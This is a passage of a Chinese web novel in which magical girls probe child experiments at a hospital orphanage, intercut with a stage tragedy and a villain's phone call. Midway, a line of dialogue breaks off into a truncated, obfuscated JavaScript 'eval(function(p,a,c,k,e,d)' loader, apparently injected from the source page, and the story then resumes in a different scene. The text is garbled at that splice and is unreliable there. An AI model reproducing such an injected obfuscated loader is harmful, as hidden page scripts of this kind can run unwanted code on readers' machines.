【…他的孩子,她的妻子,知道她正在做这些事吗?】有乐羽生说,【这些备注所用的词句完全没在把那位孩子当作一个人在看,还是说这个人已经不把人视作为自己的同类了呢?】 记录者那样自然地写到自己与受试者分享关于家人的事情,这令有乐羽生想起了曾经自己也是这样若无其事地在天生目白出事后应付了其它人。事到如今她依然对那种身体与精神脱轨的感觉无法忘怀,可这份报告中的客观用词浑然天成。 【我们见过的那些天使,曾经也都是这里的孩子。】森山寺未央忽然这样说,【那个站在车顶的人,也曾经和那些孩子一样吗?不,不一样吧,那些天使根本不会待在那个红色的房子里,她们甚至不在这个城市了,也不会记得自己的过去。】 有乐羽生没有说话,她想起自己带来的那些书,抬头看向书架上那些教科书,又想起不久之前她隔着通风窗看到的那些孩子们上课的情景。三者共处一室,但从未彼此接触过。 【…我们会结束这一切的。】森山寺未央抬起头看向有乐羽生,【这种文件不会再出现,天使不会再出现,实验也不会再出现。】 【没错。】有乐羽生闭上眼,再次睁开,【这是只有我们才能做到的事情。】 处理好情绪之后,有乐羽生开始思考其中是否有用得到的地方。 【但院长M如果是一个研究人员,他为什么能拿出大量的资金翻新这家医院呢?】有乐羽生感到奇怪,【虽然医院不披露财务状况,但毫无疑问其中的资金得有个来源。】 【是Evo投资的吧,他更像是一个管理者兼任研究人员。而现在那位博蒙院长则是不作为研究人员,仅仅作为院长。】森山寺未央也不知这是否更好一点,她的思绪有些混乱,【看Evo在市区的占地面积可比这里贵多了。】 也实用得多。 【那院长更换的理由就很奇怪了,不知这位现在是否还活着,或者说2009年发生了些什么其它的事情。】有乐羽生思索着说,【而且就作风而言也有些奇怪,如果是实验人员的话,那为何这里有这么多书呢?】 知识储备库无声回望她们。 【我看了一下,这些书大多数都是2012年之前出版的,就我能看懂的一些,其用途比起参考更像是用来学习什么,但我不能确定。】森山寺未央看着角落里的筐,【但我可以确信的是这里有很长一段时间没有人在用了,只是偶尔有人过来把东西堆到电梯口附近。这些书也很久没有人读过了吧。】 【那位博蒙-阿贝尔没有主动来这里过吧,不然以她要求每日修建草坪的态度,这里不可能是这幅样子的。但就禾草代目那副顾忌的态度,我不认为她有胆子隐瞒这里的存在,她也没有必要。】有乐羽生回忆起禾草代目的神情,【她果然应该知道很多东西。】 【她说她是神脉医院孤儿院长大的,长大不该是从十几岁开始的吧,按照这里的做法,她如果也经历过观察实验,那也应该是9岁进入孤儿院的,但她明显不是这样。】森山寺未央点头,【我还是很在意她和院长的关系,其它几个管理员年龄倒是对得上。】 忽然,森山寺未央想起了禾草千手说的话,以及禾草代目房间里那些设施。 【你说,禾草代目有没有可能在神脉医院重建之前就在这里了?】森山寺未央一边思索一边说,【神脉医院重建不代表孤儿院重建,这栋红屋子可能一直都存在。】 【…有可能啊!】有乐羽生恍然大悟,【她在这里还是芦苇岸社区医院时就待在这里了,这也解释得通她为什么隐瞒自己的态度,或许她分别需要对“之前和之后”展示不同的态度。】 【那是什么?】森山寺未央疑惑道。 【就是说。】有乐羽生再次拿出了那张照片,【Matora和2009年之前的院长M并非是一个人,Matora偏向为科研人员,院长M不止如此。所以禾草代目既要考虑自己对博蒙-阿贝尔的态度,也要考虑自己对Matora的态度,她说了,自己是他带入孤儿院的。】 照片中,一家三口模糊的面容不再能对应上各自的身份。 【她隐瞒低龄孩子的去向,那有没有可能代表她并没有忘记9岁之前接受实验的记忆?】森山寺未央猜测道,【但她的同期呢?她的同期到现在为止难道就只剩下她一人了吗?】 【这就不清楚了。】有乐羽生叹了口气,【果然还是得去问她本人。她肯定知道实验室的位置在哪里吧。】 【这里地下的空间有可能就是。】森山寺未央指了指地面,【她可能和幕后黑手有联系的情况下,我们还是先自行探索一下可疑的区域吧。关于她是否存在于过去的医院这一点还需要考证,我会再想想的。】 有乐羽生点头。 二人讨论了一番接下来的行动之后,简单收拾了一下房间,确保电梯门开后来者不会一眼看到被翻过的地方,得益于昏暗的环境,这并不难。二人离开了孤儿院建筑内。 “不知道艾克里普与晓那边怎么样了。”有乐羽生在新鲜空气里深呼吸。 “那个院长不知道会不会很危险,不过这里好歹是她的医院,总不会大动干戈吧?”森山寺未央望着医院建筑说。 “我们先联系一下她们吧,交流一下线索之后再决定什么时候去地下区域。”有乐羽生说,森山寺未央赞同地点了点头。 离开前,二人再次回头看向那红色砖楼,此时那已然不是家园的代表了。 “我答应了一个孩子后面还要去看她。”森山寺未央忽然说,“但是,我想做的不仅仅是去看她,我想成为她们的希望,就像是一个真正的魔法少女那样。” 有乐羽生看向森山寺未央,她知道对方在感情理解上与常人有隔阂。森山寺未央用自身告诉有乐羽生,隔阂不是停下的理由。 “我也想要成为一个真正的魔法少女,未央。”有乐羽生郑重地说,“一定有着我们能做,也只有我们能做的事情的。” 41.septem 西部市区城市剧院中,上周有一部新剧上演,身负外国名校哲学文学双硕士学位的编剧大名在各社交媒体上被搜索的频率不高,但其过去几本地剧情广受关系□□好者的好评。 城市剧院现在算是市区中的老建筑了,原本是城市便民设施楼的它在约2006年的时候正式被更换作为城市剧院的新地址使用,装修一年半,面积扩大了许多的同时内饰和便民设施都广受新老顾客们的好评。那同样在市区边缘的老剧院在退休后没三个月就临近荒废了,现在只有那些有需要的人会按需获取空间使用权,是免费的。 下午茶时分,这个时间点坐在剧院沙发椅上的大部分是不需要上班的闲人,虚无的□□们照着穿着要求将自己包装起来,或相谈甚欢或孤芳自赏,出没在灯厅里闪烁的每一个角落。 而新剧演出厅内观众含量占去了剧院人数总含量的一半还多。 灯光起伏,演员舞蹈移动,音乐跟随其脚步。戏剧简介表示该剧本核心以家庭伦理与宗教为主题,场景布置预算有限,主要靠演员带动观众的情绪。出场角色总共不出十五位,核心角色五位,人物独白多,总体来说是一出悲剧。 此时为第三幕,出演主角玛莱斯的年轻演员正被她那性格喜怒无常的姐姐带着朗读神的戒律,她们的父母将孩子视为神的使者,小到跌倒大到精神创伤,一切都用神的戒律让她们自我克服并获得成长。 但剧情中,姐姐阿德林暂且不提,作为主角的玛莱斯有智力障碍。 舞台上电子烛光幽暗,影子配合地摇曳,玛莱斯在桌前跪坐,裙摆扫地,抬头跟着阿德林的语句背诵。 “神必爱我们,所以予我们痛苦,磨练我等灵魂。” 玛莱斯的语调呆滞。 “仁慈的主人,你的爱何等平等,你赐予我们的爱可曾也降临过你自己的身?” 阿德林的语调抑扬顿挫,夸张地抬手望着天。 “…你的爱何等地平等。” 玛莱斯继续机械地重复,语气配合动作双双愚钝得可笑,但服装妆容和应该沉重的氛围让好笑程度降为一般。 “玛莱斯,你又记错了,这不是书上的句子,睁开你的眼吧!”阿德林夸张地围绕着玛莱斯走动来到舞台前方面对观众,大摊手,演员的裙尾华丽地转了个圈。 “哦,可在我眼里,这份礼物是真正平等的,我的姐姐,我们的主人定是真正仁慈的。”玛莱斯没有去看她姐姐的背影,而是看向天上,语气真挚。 分明是这样的语句,音乐的旋律却急转直下,小提琴的走弦似乎是要撕破些什么似的。 灯光一暗,聚焦于姐姐的身上,这是独白开始的预告。 又是独白。 “嗡嗡——”这是手机的震动。 虽然现在并不是热门时间段,但场内人不算少,有人回头怒视坐在后排的观众,可惜,没有人离席或者接起电话。 “我的妹妹,你才是真正仁慈的,割伤我耳畔的低语在你耳里温暖如甘甜的蜜,刺伤我心的余光在你眼里如解渴的露。你与我恐怕终生都无法互相理解,这是你的命,是你的福,也是我的命,我的恨。” 阿德林以优雅的姿态跪倒在地,语句悠扬,一只手抬起似乎想抓住什么,却又像是想撕碎眼前之物一般瞬间紧握,音乐也配合地带来一个转折。 “格雷伊私自离开了,独自。”后排观众中的一位,耳机里传来了来电者的声音,不合时宜的来电者声音有些冷漠。 “我的姐姐,只有我的姐姐能真正地看着我,理解我,她才是我的家人,真正的,唯一的。” 阿德林的手往舞台左侧一划,灯光却没有移动,舞台左侧另一位演员矗立在那里,没有她的台词。 “你不在公司。”来电者用陈述句提问。 “而我的妹妹,你当质疑我的话,如同我质疑那位我们的主。” 阿德林的语气带着阴郁的愤怒,说完这句台词她站了起来,聚光灯退去,玛莱斯困惑地看向自己低头不语的姐姐。 “西弗尔特呢?”接电话的人没有表情波动,开口问道,不知是否是有意为之的,她的声音被转折的音乐盖过去不少。 “带回来了,生命力衰竭但回收时还有体征,维修部门正在处理。”来电者说,接电话的人微微叹了口气,微笑一成不变。 剧情切换到第四幕。 舞台上,站在布景后方的两位演员的影子被灯光打在纸窗上,这是两姐妹的父母。 “神的孩子不可如此愚钝,她生了病,我们要寻求治愈。” “神的孩子当如阿德林那样聪慧,玛莱斯生了病。” 二人在窗后窃窃私语,饰演阿德林站在窗旁,将那些句子一一听了。 “我们当寻找灵露,可那天上的城我们如何去?” “我们当去寻布道者的垂怜,可那街上行人当如何看待我们?” “那三条街外有医者,拿冰做的刀,能点醒人的魂。” “我们当盖起布,趁太阳没有升起,带着她前去。” 二人窃窃私语间,饰演阿德林的演员惊慌失措,最后她走向玛莱斯的房间。 “肾脏状况如何?”接电话的人问。 “有部分破裂,可以修,但第三次移植就是最后一次了。”来电者声音冷淡。 玛莱斯雀跃着打开门,阿德林身型沉重。 “今晚,我要与你共享一个秘密,如共享这份夜色一般。”阿德林郑重地说,声音低沉了许多。 “如夜色一般的秘密?”玛莱斯重复。 “最后一次。”接电话的人重复,“不过也够用了,就这么办。” “我的姐姐,就站在那里,我的姐姐,我真正的家人。” 阿德林拉着玛莱斯的手开始转着圈跳舞,这是这两位演员在戏剧中第一次肢体接触,大概是在象征二人第一次敞开心扉。 饰演阿德林的演员一边带着饰演玛莱斯的演员跳舞,一边歌唱着介绍那角落里的她的姐姐,但玛莱斯因为一直被带着跳舞而没能看见对方,她几次有想停下探查的动作,却都被饰演阿德林的演员忽视了。 歌曲一边唱着阿德林是如何在父母的教育下长大,如何在社会中无法立足,自己的姐姐如何作为她真正的家人安慰她,甚至替她做她不想做的事情。 灯光随着她的歌唱逐渐收束,直到只单独打在她一人身上,二人舞蹈瞬间暂停,如定格画面一般,音乐也从激昂的抒情调子转折为小提琴独奏。 “我现在过去,目的地是?”接电话的人问。 “你可能看见我的家人?”阿德林看着天上问。 “你蒙上她的眼,她如何看得见?”部分音乐演奏者附上了和声。 “你可愿成为我的家人,与我一同离开这里?”阿德林看向怀里的玛莱斯问。 “你未曾准备好,如何带她高飞?”和声唱到,语气嘲弄。 “博蒙的医院,那几个人也在那里,她也在,记得在事情闹大前把格雷伊带回来,她还有用。”来电者说。 “博蒙呢?”接电话的人面不改色地问。 “她自己清楚,而且科勒斯特的血还能用。”来电者说罢挂断了电话。 “我们本就是家人,若我的回答能抚平痛苦,那我便说:我看到了神,神沉默而仁慈,你是受眷顾的。”玛莱斯抬起一只手抚摸阿德林的脸庞。 阿德林却如触电一般甩开了对方,整个人仓促又窘迫地逃向那个沉默的演员。 “我的姐姐并非神的代言人,她即是我所要的,我真的家人!”阿德林愤怒而惊慌地说。 “神降临于你,父母都因此微笑,你却如此痛苦。”玛莱斯面露悲伤。 “这是诅咒!你的语言如诅咒般,我视你为真正地家人,你却诅咒我,使我痛苦不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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话只说了个开头,那离席的客人听到结局就头也不回地离开了。 “…各有所爱吧。”清洁工愣了愣后无所谓地坐了回去。 “阿尔卡纳,导航到神脉医院,处理交通系统。”离席者来到剧院停车场,上车后带上墨镜,左手转起方向盘,右手拿起手机。 “已连接街道公共管理处,请直行。”电子音回复。 “我去一趟隔壁城市,市区的动乱你联系Matora处理,让他把货处理好再死,在这周末之前。”电话被接通,单手开车的人说话。 “你走了?那我还怎么叫那群人干活?而且说真的我一点都不想和那群人说话诶!”电话那头的人语气非常不满。 “我提前交代过了,按之前的计划来,你想做什么就趁早,我回来后确认。” “啊好吧,湛你这家伙真是——”话说一半就被挂断了。 湛右手摁下发送之前快速低头确认了一眼,发送后她将手机扔到一旁。 “已接管街道控制,请直行。”导航发出叮咚一声。 于是湛一脚油门踩到底,直奔高速公路口,一路所遇全是绿灯。车上了高速后持续加速,直到时速抵达两百公里左右才稳定了下来。 湛单手摸向墨镜将其扔进副驾驶,微笑如同焊在她的脸上了一样从未变动过哪怕一分毫。 “姐妹伦理悲剧无论看多少次都觉得好笑。”她说。 接近高速公路出口,却有一辆丝毫未见减速迹象的小型黑色轿车,以不顾车辆引擎和轮胎死活的速度冲刺着。 “快一点,再快一点,老板她马上就要追过来了。”车内驾驶座后方的格雷伊紧张地抓着驾驶座的座椅边缘,她的指尖有血线穿出,另一端连接着驾驶座的一位身着帮派徽章外套的司机。 那司机双目无神,在格雷伊的指示下没有在出口前选择减速。 “她不会管姐姐的,她们什么都不知道,我必须快点过去,至少,”格雷伊头上有冷汗流下但她浑然不知,“至少得见她一面。” 黑色轿车驶下高速,拐弯时侧翻近90度又稳定落下,继续以同样的速度继续向神脉医院前进。 42.octō “所以你说的那个孩子应该就是实验室中正在接受实验的其中一个,而她近期因为加速了注射而多次必须住院,出院后又继续进行实验。”森山寺未央不忍地问道,“这不是在催她去死吗?” 几人在聊天群里交流了各自的发现以及接下来的行动,时间问题几人把线索细节分享放在了今日行动之后。 “是的,但她自己应该是知道自己命不久矣的。所以那个孩子说如果我带她去血湖旁边,那她就告诉我她知道的一切,按她的说法的话那她应该知道我们需要的所有东西了。”犬山晓说。 “血湖是个完全没有听说过的地方呢。那个孩子应该没有接触过外面的世界吧,她做出这样的决定,我觉得好可怜。”有乐羽生说。 犬山晓看着这样的信息,沉默了一会。 “她没有名字,也没有自己的房间,这是她唯一能自己进行选择的时候了。”犬山晓说。 但刚刚发出去她就想撤回这条消息,她自己读了一遍都没办法理解自己在说什么。是怜悯吗?还是在对自己的无能辩解呢?犬山晓自己不理解哪种才是好的。 “晓,和那孩子聊过了吗?”有乐羽生问。 “聊过了一些,她说了很多信息,看上去确实是对这里有所了解的。”犬山晓说着,“她能察觉到我隐身时的位置所在,应该是能察觉到魔法气息的。” “听上去她和那些天使有部分相似,根据之前的情况,或许这里就是天使们诞生的地点。”艾克里普说,“实验使那些孤儿拥有了感知魔法的力量,但那还是不足以让普通人使用魔法。这之中一定还有什么我们没有调查出的东西,以及实验室的位置,这些是我们接下来的目标。” “这样一说,孤儿院里的那些孩子们基本上不记得9岁之前的事情,实验室也对孩子们进行洗脑了吧,就是不知道是魔法还是科学手段了。”森山寺未央提出。 “这还无法定论。”犬山晓说,“而且她嘴里的血湖,似乎也和实验室有着一定的关联,我之后也会遇到吧。” “保证自身安全最重要,虽然我很放心晓的实力,但什么事都有可能发生,请一定多加小心。”艾克里普说。 “我们目前为止遇到的一切都是很不可思议的事情,再发生些什么我都不会太意外了。”有乐羽生说。 “我们接下来准备去会见院长博蒙,她的身上绝对会有有通过通行验证的东西,这样一来即使这个人什么都不愿意说我们也可以得到需要的信息了。”艾克里普说。 “那我们接下来会去孤儿院地下的区域,我觉得那里即使不是之前提到的实验室也会是类似的东西了。”森山寺未央说。 “那不如这样,艾克里普去和羽生一起探索孤儿院地下区域顺带销毁实验器材,未央和我一起去找院长问问题。”犬山晓提出。 “我也认为这样效率高一点,就这样办吧。”森山寺未央说。 “可是如果院长是很强大的魔法使用者的话会很危险吧?”艾克里普担心。 “她应该不会做出破坏建筑的大动作,而如果是精神系的魔法的话我有把握防护。”森山寺未央说。 “那也确实如此,那就这样办吧。”艾克里普接受了。 几人协定之后,很快各自前往了接下来的目标地点。 艾克里普将资料室的钥匙卡交给了犬山晓,于是几人再次在医院门口附近会合并分头行动。 森山寺未央一副心事重重的样子,看着医院景观也没发出几句像样的感慨。 “你们那边行动如何?”犬山晓问道。 “我觉得我们没有被怀疑的迹象,那里的孩子不被允许接触关于外界的信息,而且那里的一个眼睛不好而且瘸了一条腿的管理人特别可疑啊,还撒谎说什么低龄孩子们在睡觉,我们探查之后发现孩子们根本不存在!”森山寺未央愤慨说,“很多东西都很奇怪,孤儿院是这样的吗?还是只有这里的孤儿院是这样的呢?” “或许,我是说或许,毕竟我也没怎么去过孤儿院嘛。”犬山晓犹豫地说,“或许是只有这里是这样的,毕竟这里的孩子先天不足嘛。” “先天不足又不是她们自己选择的!”森山寺未央很沮丧,“我觉得是不是我太忽视这种情况了呢?明明我也是魔法少女了,却除了与魔物战斗做不到其它的什么好事。与魔物战斗就够了吗?魔法并不是纯粹用来战斗的东西吧。” 森山寺未央这样说是因为在她眼里犬山晓是个非常强大,有经验的魔法少女,也劝诫过她“不要为所欲为哦”这样非常正派的思想。理所当然的,她认为这样的犬山晓一定对魔法抱有更加高深,更加建设性的想法和意见吧? 但出乎她意料的是,犬山晓听了她的话却是沉默不语,或者说从来到这家医院开始她就变得沉默了许多。往常犬山晓就是大家之中说话较少的那个,也不怎么表达情绪,所以森山寺未央一时也没有觉得这样有什么不对。 “晓?在走神吗?”一如既往地无法理解别人情绪的森山寺未央发问道。 “啊,我在想孤儿院的事情。”犬山晓说到孤儿院时语言加速了些,“魔法确实能做到很多不可思议的事情,不如之后一起问问艾克里普吧。” “嗯!一定很快就可以结束了,我答应了一个孩子再去看她,等等这算不算在立flag?”森山寺未央大惊失色。 “那是什么?你说的没错,很快就要结束了。”犬山晓走在前面说。 “是个还挺早的段子了,晓平时不看动画片什么的吗?”森山寺未央好奇地问。 “以前有一段时间很喜欢看,后来就没怎么看了。”犬山晓怀念地说。 “但是晓却是组织我们组乐队的人呢,从这一点上你的爱好也不是全都是那么朴实无华。”森山寺未央笑着说。 “毕竟我觉得高中生组乐队还挺常见的,日之森里大型社团那么多,我们的乐队就显得非常平凡了。”犬山晓不好意思地摆了摆手。 “怎么会?我们的乐队超厉害的,别的不说,我们上次演出之后来找我说话的同学都变多了!”森山寺未央比划着说。 “有这回事吗?”犬山晓完全没遇到过这件事。 “没有人去找晓说话吗?一般来说乐队吉他手会是很热门的人物,难道说贝斯终于成为了流行乐器了吗?”森山寺未央忍不住笑了。 “是有人在我晨练和运动课来找过我。”犬山晓想起体育课上的遭遇。 “我就说嘛,晓肯定会受欢迎的!”森山寺未央点了点头。 “是吗?”犬山晓有些怀疑。 “是啊!你看着不好说话但实际上人细心又亲切,还是运动派的,这种人在学校里一般都是热门人物哦!”森山寺未央肯定地点头。 “那还真是不好意思。”犬山晓摸了摸脸。 谈话间,院长办公室的门就在前方了,那门厚重得像是一面不准备裂开的墙。犬山晓走在前面,没有犹豫,敲响了厚重的金属。 没有人回应,但电子锁卡啦一声后自动解锁了,门说可以进。 “这是让我们进去的意思?”森山寺未央有些紧张地从她身后看。 犬山晓没说什么,直接推开了门。 步入院长办公室后,第一眼看见的是挂在入口正对面的那巨大的水蛭徽章,纯金属的光泽哪怕没有光源也熠熠生辉。但森山寺未央自从知道那是水蛭之后不太想直视它了。 房间两侧,高架上奖杯与包装书籍熠熠生辉,内部大窗前有一张占去房间四分之一大小的办公桌,从椅子到边架全是由同一种木材制作而成,底部略微陷入花纹繁杂的地毯。 但这等老派装修空间的主人却是一位年纪尚轻的学者,她坐在办公桌的后方,背对着光,对二人的造访毫无反应,只是认真地凝视手中的文件,重重的盖上了一个章之后,她才抬起头来打量来客。 那是一张不必主动就能散发出疲惫气息的面孔,西服青色短发一同整齐地服帖与她,但依然没有为她衬托起分毫的自洽感,因为其本人缺少了些什么。她面色难说有气色,眉头紧皱在一起,低垂的眼皮遮去大部分瞳孔,那之下有着比眼睛更为显眼的眼袋和黑眼圈。 神脉医院的院长博蒙-阿贝尔分明沐浴在日光里,却像是在被手术台上的灯光聚焦着,身处刺目的白色中随时有着眩晕的可能性。 但这些都遮掩不掉她举手投足之间透露出的礼仪和投来的视线中的傲慢,她该站起身的,无论是为了施压还是为了待客。 “你就是博蒙-阿贝尔?”森山寺未央不可置信地问,她的声音不自觉地放轻了。 她的疑惑并非毫无缘由,因为二人眼前这张脸与几人先前在车上看到的博蒙-阿贝尔完全一致,但那张照片是近三十年前的产物,三十年后的博蒙-阿贝尔却顶着同样的一张脸出现在这里,森冷的瞳孔在看向二人时不时颤动。 长期高压状态下的失眠症,森山寺未央很快就认出了这个特点。 “换了个人吗?不过这倒是无所谓。”博蒙向后靠去,放松的姿势她做起来总有种支撑不住身体即将倒下的感觉。 【魔法可以使用,但她身上的魔法气息我察觉不到。】犬山晓非常警惕,【而且她的身体素质不太好,比你更不好。】 言下之意就是博蒙-阿贝尔并非是一个需要她们警惕的强者,森山寺未央理解了这一点。 【是之前的天使那样的手段吗?】森山寺未央有些疑惑。 【还不能确定,不过没关系。】犬山晓直盯着博蒙的脸。 见二人不说话,博蒙轻笑了一声,鼻腔出气,二人更警惕了。 “让客人站着不是阿贝尔家的待客礼仪,坐吧。”博蒙抬起右手,办公桌前有两个椅子从角落里移出,并不是魔法,而是科技产物。 机械转轮带着椅子来到二人身旁,彰显存在感。 “你知道我们是为何而来的吧。”犬山晓没有坐下,凝重地说,“你知道我们既然能出现在这里,就是因为我们已经知道了人体实验,以及人造魔物的存在。” 她的声音与平时没什么区别,是低而缓的,但森山寺未央却直觉身边的友人说出这些话来时似乎与往常有些不同。她侧目看去,犬山晓一如既往地没什么表情,只是一直在盯着博蒙。 就像她自己说的那样,想要尽快结束这一切一样,迫不及待地想要做些什么。 “知道。”博蒙瞳孔移动,“坐。” 声音没有起伏,但压力接踵而至,森山寺未央和犬山晓对视一眼,在椅子上坐下了。 “不用紧张,不用解释,你们在害怕什么我再清楚不过,我没有魔法天赋,大可不必像对待那群天使一样对待我。”博蒙微微一笑,习惯性的蔑视让她的投诚更像是在威胁。 【她没有在说谎,至少生理性没有。】犬山晓说。 【可这怎么可能呢?】森山寺未央头有些疼。 “你说你没有魔法天赋,那你还敢放我们进来?”森山寺未央问道。 “不然呢?等你们破门而入吗?这扇门的年纪比你大多了。”博蒙面不改色。 “你有什么企图?”森山寺未央皱眉。 “有企图的是你们吧,怎么问起我来了?”博蒙反问,面色没有松动。 “所以说,你知道我们要做什么,你放我们进来是因为你自知没办法反抗吗?”森山寺未央不可思议地问。 “正确。”博蒙说,她没有赞美。 虽然这似乎是个好结果,但对方有恃无恐的模样让二人无法相信这个结果。 “听着,你们无非是因为那无中生有的顾忌而无法放松身体,听我的,深呼吸,既然你们不开口,那就让我来。”博蒙摊手说,“我现在心情很好,所以你们想问的东西都可以问。不过有些关键词我没法说哦?不然我的脖子会马上断开的。” 这样说着,她摸了摸自己的脖子,那里什么都没有。 “我需要前往血湖,你身上有通行用具。”犬山晓说。 “这么点时间能让你找到这个名字,不错。”博蒙将桌上的一个瓶子和钥匙卡丢向犬山晓,“生物检测和门锁,你想做什么就尽快吧。” “为什么这么说?你提前知道了些什么吗?”犬山晓问。 “因为今天就是我的死期了。”博蒙说着看向房间天花板处的摄像头,露出了发自内心的微笑,“我死去之后这些检验全部都会被换掉,恐怕会混乱一段时间吧。” 就像她自己说的那样,她似乎因为即将得到解脱而感到喜悦,并且真情流露。 但看着她的二人却因此产生了强烈的怀疑,毕竟二人做好了面对强敌,但到头来最终关卡内居然是一个笑着求死的精神病人。 “说真的,我受够了,这些也好,那些也好,现在也好,过去也好,未来也好,我受够了。你们要做什么,她们要做什么,关我什么事呢?”博蒙对着二人忽然开始表达自己内心的情绪,与方才皱眉盖章的那个人判若两人,但她即使是这样也保持着刻进骨子里的仪态。 犬山晓看着这个人。 这是一个压抑已久的人,在临死前终于摆脱一切,骨头轻的快要飞起来了吧。 【既然她这里没有威胁,那就我留在这里问她问题,你先走,我问完问题后就去艾克里普那边。】森山寺未央向犬山晓说。 犬山晓有些犹豫,她不太理解森山寺未央如今能做到什么程度,但她确实非常迫切地想要结束这一切,回去,回到日常生活之中。 【等等。】犬山晓看向了博蒙,【未央,你先看身后。】 【什么?】森山寺未央有些不解,但还是转过去了。 博蒙也不太理解。 “…为了保险,我要取下你的一只手。”犬山晓的声音很低,“我会麻痹你的痛觉,以确保你能说出正确的信息。你的惯用手是哪只手?” 房间内一时安静了下来。 森山寺未央忽然不敢去看犬山晓的侧脸,即使她的语气非常平静。 “虽然事到如今我也没那么在意这种问题了,不过你为什么会认为我会答应你?会在你那样做之后还回答你们的问题。”博蒙撑着脑袋问。 “你会的,你用右手盖章。”犬山晓说着,抬起了手。 博蒙感觉自己的右手被抬起来了,不过很快她就感受不到自己的右手,或者说整个右臂了,她偏头去看,她的整根右臂,连带着衣物从肩膀连接处被“取下”了,断口清晰可见,已经覆盖上了一层可憎的疤痕。 在一瞬间的惊慌之下,她确认没有疼痛,就和对方之前说的那样。 “你们这群魔法使用者,真是冒昧地令人恶心。”博蒙不屑地耻笑一声,她动作都没变。 “我的血液停留在你的心脏血管附近,你不会想说谎的。”犬山晓说。 “我已将死。”博蒙冷声说。 “你怕痛。”犬山晓说,“我走了。” “哦,哦,好的。”森山寺未央意识到这是对她说的话,她抬头,只看到犬山晓离开的背影,非常匆忙。 “你有什么感想?”博蒙的声音从她身后传来。 “她,她是这样的人吗?”森山寺未央有些迷茫,但很快,她坚定了起来,“晓,一定也有不能告诉大家的秘密吧。” “比如她是职业催债人什么的?”博蒙还有心思开玩笑。 “晓再怎么说都是我的朋友,我相信她。反倒是你,你是人体实验的始作俑者中的一员,是绝对无法饶恕的存在。我可是分得清的。”森山寺未央看向了博蒙。 “哈哈!”博蒙却是笑了,“你可真是低估我了!” 森山寺未央无法理解这个笑容,结合之前对方的语句她觉得这个人精神状态出问题了,决定趁对方没彻底发疯直接开始问问题。 “我们是来这里捣毁这里的实验室和Evo园区的实验室,并且找到幕后黑手的,你有什么想说的吗?”森山寺未央紧盯对方的一举一动。 “现在的年轻人真是了不起,伸出手就要做大事。”博蒙扯起了嘴角,“我不得不说我们从没想过这个国家会带给我们这样的结果,她们同理,真是了不起的成就。” “年轻人?你看着也并不老吧?”森山寺未央分神质疑道,很快她就意识到自己又跑题了。 “这就是阿贝尔家族的荣誉之一了,孩子。”博蒙仰起头去看那高悬于她头顶的徽章,那滴血仿佛要落到她的头上,“你应该已经了解了,此为何物?” “是水蛭,这是你们阿贝尔家族的族徽?”森山寺未央问。 “正是,Per Vulnerum, Sanatio。”博蒙言语间有发自本能的敬畏,“神赐的灵兽会吞噬阿贝尔血脉中的污垢,给予其远超凡人的寿命。” 言语之间意义明确,可森山寺未央却感到怀疑。 “我就是这里的阿贝尔家族最后的纯血族人了,自此之后这潮湿的血脉再无复苏的余地,何等悲哀,何等不幸啊。”这样说着,博蒙却颤抖着笑了起来,因为缺少一只手臂而显得无比怪异,“果然这种话还是有观众在场的情况下说起来才有意思。” “可亚贝琉的寿命都非常短暂,甚至需要人为加速其生长以达到最大效用,天使们没有接受到你们的灵兽的庇佑吗?”森山寺未央问。 “哦,你们遇到那群蝼蚁了,辛苦你们了。”博蒙看着天花板问。 她将战斗力远比自己高的天使称呼为蝼蚁,森山寺未央察觉到阿贝尔和亚贝琉或许有着本质上的区别。 “遇到很多次了,来的路上遇到了一个,之前学校里遇到了一个,还有格雷伊。”森山寺未央说着,“这些你都认识吗?还有其它的吗?” 房间内陷入一片寂静,森山寺未央突觉压力倍增,博蒙不知何时没有再仰视天花板,而是死死地盯着她,那昏黄瞳孔是那样地无神却徒增感情,突兀而不讲道理,那是厌恶的表情,她在隔空恨着某个不存在于这个空间的人。 刚才森山寺未央说的话里,有什么触及到了她的的灵魂,强迫她从那即将解脱的轻松氛围中跌出,狠狠摔在地上,如从梦中跌落般猝不及防。 “你们遇到她了,见到她了,和她说过话了?”博蒙声音发虚,头低垂着。 “对。”森山寺未央心想这人真的是需要看看精神医生了。 “如何?”博蒙问。 “什么?”森山寺未央不明所以。 “格雷伊,”博蒙甚至因为说出这名字而发生颤抖,“她很可恨吧,每句话都惹人生气,礼仪体态谈吐全都烂得一塌糊涂,站在那里就让人感到恶心。” “啊?”森山寺未央真的不知道该说什么,博蒙的情绪化来得突然,让她回忆起了自己姐姐在精神病院时的表现。 森山寺未雅不在这里,她不会看到自己曾经的模样,森山寺未央害怕着,又松了口气。 另一边,犬山晓快速回到了RP-e315的房间,她用博蒙的钥匙卡打开了一路上所有的门。 病房内,RP-e315站在椅子上朝窗外看,像是想要跳下去。犬山晓也顺势看向那无法被打开的窗户的方向,16楼的高度足够她看清医院范围内的一切了。 “哇!你真的回来啦!”RP-e315兴奋地回头,“我刚才还看见一些人从孤儿院那边走进走出,那些也是你的朋友吗?” “是。”犬山晓说,“你在看什么?” “和我未曾谋面就要道别的老家隔空相望呢,以前我可没分到过视野这么好的房间。”RP-e315说着从椅子上跳了下来,招了招手,“你要不要也看看?那片草地的维护费用和特殊护理病床的费用不相上下哦。” 光辉从那方块中渗出,犬山晓顿了顿,走上前,接过RP-e315,代替她站在那里。 绿地绿林绿湖,以及,温暖的红色砖房,阳光模糊了红色的边界,犬山晓看到了,也看清了,那该是温暖的,令人怀念的。 红房子说,你好,好久不见,最近过的还好吗?我看到你了,你回来了,我在这里,那么,接下来我—— “你有这么喜欢那栋房子吗?”RP-e315意外地拉了拉犬山晓的衣角,“确实比起医院这里我更喜欢那栋屋子的建筑风格一点啦,不过我们还是快走吧你之后自己回来看行吗?” 犬山晓如梦初醒,体温这才被她放开能够回流。红色砖房放开了她的视线,她跳下了椅子,双脚着地,安全感并没有顺利回归。 “…我不喜欢那里,我们走吧。那我接下来问你问题你全都得回答。”犬山晓没有再犹豫,她背起了RP-e315,以最快的速度离开了房间。 “告诉你,全都告诉你!”RP-e315声音非常兴奋,她抱着犬山晓的脖子,对这崭新的视角感到新奇。 犬山晓忽然感觉RP-e315与博蒙的精神状态在正面意义上有着微妙的相似。肩膀上完全不能说是负担,骨架比肉存在感高,声音比骨架存在感高。 